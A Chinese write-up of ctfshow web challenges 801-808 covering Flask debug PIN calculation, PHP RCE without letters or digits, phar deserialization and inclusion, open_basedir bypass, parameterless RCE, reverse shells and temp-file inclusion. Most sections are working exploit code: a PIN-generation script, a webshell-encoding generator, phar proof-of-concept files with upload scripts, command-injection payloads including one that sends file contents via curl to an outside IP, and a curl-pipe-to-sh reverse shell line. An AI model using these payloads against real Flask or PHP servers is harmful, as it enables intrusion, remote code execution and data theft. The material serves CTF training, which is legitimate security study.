ctfshow-常用姿势
801-flask算pin
输入不存在的值使其报错,可以看到是flask开启了debug模式的界面,将鼠标移到任意一行上就可以看到右边有个terminal的标记,点击要我们输入pin码,这个pin码在跑flask的时候会给在终端里
本题考点就是利用任意文件读获取信息再利用脚本来跑出这个pin码
计算pin所需要的值为:
username: flask所登录的用户名,可以读
/etc/passwd
或者getpass.getuser()
modname: 默认为flask.app
appname: 默认为Flask
getattr(app, “name”, app.class.name)
moddir: flask库下app.py的绝对路径,可通过报错得到 或者
getattr(mod,"__file__",None)
uuidnode: 当前网络的mac地址的十进制数,读网卡: 如
/sys/class/net/ens0/address
或/sys/class/net/eth0/address
machine_id: docker机器id linux的id一般存放于
/etc/machine-id
或/proc/sys/kernel/random/boot_id
docker的则读取/proc/self/cgroup
取/docker/
后的字符
(但在本题要读/proc/sys/kernel/random/boot_id
和/proc/self/cgroup
然后将其拼接起来)
脚本附上:
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377585129',# /sys/class/net/ens0/address or /sys/class/net/eth0/address
'653dc458-4634-42b1-9a7a-b22a082e1fce18de34833d56b14e3178cdffe0c6fd87895b75d5affd11b0ff6d8a3340f26d6d'# /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
然后得到一个可交互的:
import os
os.popen('cat /flag').read()
802-无子母数字RCE
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
eval($cmd);
}
顾名思义就是把字母数字都给过滤掉了
可以利用像异或、自增、取反:$、+、-、^、~、|
来构造payload
- 一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
- 无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
- 无字母数字绕过正则总结(含上传临时文件、异或、或、取反、自增脚本-羽
- ctfshow web入门 web41_羽的博客-CSDN博客
具体原理不赘述了==,给上群主师傅的脚本吧
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 14:35:44
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 16:41:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$precode=<<<code
\$_=('@'^'!');
\$__=\$_++;
\$___=++\$__;
\$____=++\$___;
\$_____=++\$____;
\$______=++\$_____;
\$_______=++\$______;
\$________=++\$_______;
\$_________=++\$________;
\$__________=++\$_________;
\$___________=++\$__________;
\$____________=++\$___________;
\$_____________=++\$____________;
\$______________=++\$_____________;
\$_______________=++\$______________;
\$________________=++\$_______________;
\$_________________=++\$________________;
\$__________________=++\$_________________;
\$___________________=++\$__________________;
\$____________________=++\$___________________;
\$_____________________=++\$____________________;
\$______________________=++\$_____________________;
\$_______________________=++\$______________________;
\$________________________=++\$_______________________;
\$_________________________=++\$________________________;
\$__________________________=++\$_________________________;
\$_=('@'^'!');
code;
eval($precode);
#使用异或生成任意无字母数字代码
function createCode($code){
global $precode;
$ret = "";
for ($i=0; $i < strlen($code); $i++) {
$c = $code[$i];
if(ord($c)<97 || ord($c)>122){
$ret .= "$c";
}else{
$ret .= '$'.str_repeat('_', ord($c)-96);
}
}
return urlencode("$precode(\"".substr($ret,0,stripos($ret, "("))."\")".substr($ret, stripos($ret,"(")));
}
echo createCode('system("tac flag.php");');
803-phar文件包含
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
跟学姐学习一下:phar反序列化漏洞学习 - beiwo - 博客园 (cnblogs.com)
一、phar 文件由四部分构成:
stub
可以理解为 phar 文件的标志,必须以
xxx __HALT_COMPILER();?>
结尾,否则无法识别。xxx
可以为自定义内容。manifest
phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data,这是漏洞利用最核心的地方。
content
被压缩文件的内容
signature (可空)
签名,放在末尾。
二、phar文件生成:
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>三、phar文件包含利用条件
- phar 文件要能够上传到服务器端
- 要有可用的魔术方法作为跳板
- 文件操作函数的参数可控,且 “:”、“/”、“phar” 等特殊字符没有被过滤
知道创宇404实验室的研究员 seaii 更为我们指出了所有文件函数均可使用(https://paper.seebug.org/680/ ):
fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen`
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
copy
本题是把file和context分开上传,那么先生成phar文件:
本题poc:
<?php
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
然后上传并利用file_exists触发phar:
import requests
url="http://4753edb4-561f-452f-bae3-2b84b0c44407.challenge.ctf.show/"
# 上传phar文件
requests.post(url,data={'file':'/tmp/a.phar','content':open('a.phar','rb').read()})
# phar文件包含
r=requests.post(url,data={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'})
print(r.text)
804-phar文件包含
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
}
}
多了个类的利用,改一下poc:
<?php
class hacker{
public $code="system('cat f*');";
}
$a = new hacker();
echo urlencode(serialize($a));
# 下面这部分就没改
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("a.txt", "123"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
上传,利用:
import requests
url="http://41a1cf31-474d-4f62-8a18-49921eceeb33.challenge.ctf.show/"
requests.post(url,data={'file':'/tmp/a.phar','content':open('a.phar','rb').read()})
r=requests.post(url,data={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'})
print(r.text)
805-open_basedir绕过
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
eval($_POST[1]);
说是要绕open_basedir,那先phpinfo看一下:
- open_basedir:
/var/www/html
- disable_functions:system,exec,shell_exec,passthru,popen,fopen,popen,pcntl_exe
参考:
浅谈几种Bypass open_basedir的方法 - Hookjoy - 博客园 (cnblogs.com)
(ps:这里只尝试了2个方法,还有只能罗列根目录和open_basedir允许目录的glob://协议)
open_basedir对命令执行函数没有限制,但是这里disable_function把命令执行函数ban了
利用chdir()与ini_set()绕过
1=
mkdir('hhh');chdir('hhh');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/ctfshowflag');
利用symlink()绕过
符号链接
符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。
symlink()函数创建一个从指定名称连接的现存目标文件开始的符号连接
需要跨几层目录就需要创建几层目录,简单说:
- 创建软链接
qwe
指向a/b/c/d
,然后创建软连接tnt
指向qwe/../../../ctfshowflag
, 即tnt
指向a/b/c/d/../../../ctfshowflag
- 删除指向a/b/c/d的链接文件qwe,再创建文件夹
qwe
此时tnt
指向qwe/../../../ctfshowflag
即指向根目录下的ctfshowflag
1=
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("a/b/c/d","qwe");
symlink("qwe/../../../../ctfshowflag","tnt");
unlink("qwe");
mkdir("qwe");
然后访问:url/tnt
806-php无参RCE
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
正则ban掉了a('123')
这样的类型,只能是构造a(b(c()))这样的形式进行rce
可以用全局变量搭配一些函数取得字母进行rce
取全局变量:
getenv()
localeconv()
getallheaders():apache2环境
get_defined_vars():回显全局变量:
$_GET
、$_POST
、$_FILES
、$_COOKIE
session_id():获取/设置当前会话id session_start():创建新会话或重用现会话。 如果通过 GET 、POST 或者用 cookie 提交了会话 ID, 则会重用现有会话
利用eval(hex2bin(session_id(session_start())));
然后传入cookie:PHPSESSID=payloadpayload=转为十六进制的"命令"getcwd():获取当前目录 chdir():更改当前目录 dirname():返回路径中的目录部分
一些函数:
- scandir(目录,[0|1:升|降序],[context])——列出指定路径中的文件和目录
- localeconv()——返回一包含本地数字及货币格式信息的数组,数组第一项是.
- current()——返回数组中的当前元素值, 默认取第一个值,别名为pos()
- array_reverse()——逆向输出数组
- array_flip()交换数组的键和值
- array_rand()从数组随机一个或多个单元,不断刷新访问就会不断随机返回
- end() - 将内部指针指向数组中的最后一个元素,并输出。 next() - 将内部指针指向数组中的下一个元素,并输出。 prev() - 将内部指针指向数组中的上一个元素,并输出。 reset() - 将内部指针指向数组中的第一个元素,并输出。 each() - 返回当前元素的键名和键值,并将内部指针向前移动。
这里用get_defined_vars():
get_defined_vars():返回由所有已定义变量所组成的数组,然后current指向数组[_GET]
,end指向[_GET]
数组中最后一位元素即咱们get最后的传参并输出,再用eval执行即可
?code=eval(end(current(get_defined_vars())));&b=system('cat /c*');
807-反弹shell
反弹shell失败的排查:
- 是否为内网ip,IP地址是否准确、端口是否一致
- 云服务器安全组/防火墙端口是否打开
- 是否为轻量级服务器,安装了宝塔面板,需要再次开放宝塔面板上的防火墙端口
- 是否服务器开启了iptable,需要开放反弹端口
- 检测完毕后可以通过本地nc反弹的ip地址 端口来确定本地能正常反弹;windows下可用telenet反弹
反弹shel的本质就是让对方服务器主动连接你指定的ip地址和端口,在大部分的服务器防火墙中,对 入站的流量有详细和严格的监控,比如服务器只开放80和443端口,,其他端口不开放,这时候,就算服务端有个程序在9999端口监听,等你连接,你也连接不上 但是,防火墙对服务器内部向外连接的流量,基本是全部放行。基于这个策略,我们通过反弹可以绕 过服务器的防火墙检查
# Reverse Shell as a Service
# https://ctf.show/
#
# 1. On your machine:
# nc -l 1337
#
# 2. On the target machine:
# curl https://your-shell.com/yourip:1337 | sh
#
# 3. Don't be a dick
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];
$schema = substr($url,0,8);
if($schema==="https://"){
shell_exec("curl $url");
}
要求$url以https://开头,shell_exec用;直接截断就行,相当于无回显rce:
?url=https://;curl http://ip:8899?a=`cat /*`
808-php7.0文件包含崩溃卡临时文件
使用条件
- php7.0
- 有完整包含点,参数可控
- /tmp目录可写
基本原理
php脚本运行过程中,会自动给超全局变量赋值
如
http://***/?file=/etc/passwd
:我们并没有给$_GET
这个数组进行赋值,php会自动解析ur格式,将fiLe作为键名放入$_GET
变量中,并且赋值为/etc/passwd
php的其他超全局变量也会类似如此处理 超全局变量:
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
- `
$_SESSION
$_REQUEST
$_ENV
基于上面的原因,如果我们向一个php脚本发送文件上传表单,php会将上传的文件存放在一个临时目 录,等待php脚本处理,脚本运行结束后,无论php脚本是否处理这个上传文件,都会删除这个临时上 传文件
也就是说:虽然我们可以控制上传临时文件的内容,但是脚本运行结束以后就会自动删除掉 基于这种情况,出现了2种利用方式:
- 脚本运行结束之前就包含这个临时文件,执行里面的恶意代码,并生成后门,删除临时文件后不影响以后的命令执行,条件竞争就是这个原理。
- 脚本运行结束之后不删除这个临时文件。这就是这个议题讨论的情况,想办法让脚本运行结束后不删除这个临时文件。
于是乎,现在的重点就是解决脚本运行结束之后,不删除这个临时文件。继续看下面的代码:
<?php
echo "start"
exit(0); //die();
echo "exit";这里可以看到,如果当前执行的php脚本,中途给退出了,就不执行后面的代码了,所以只要我们让 php脚本可以中途退出,就能不删除我们上传的临时文件,就能包含恶意代码了。 PS: 这里有一个例外 Shutdown函数和析构函数,代码中显式exit0或者die)以后,仍会执行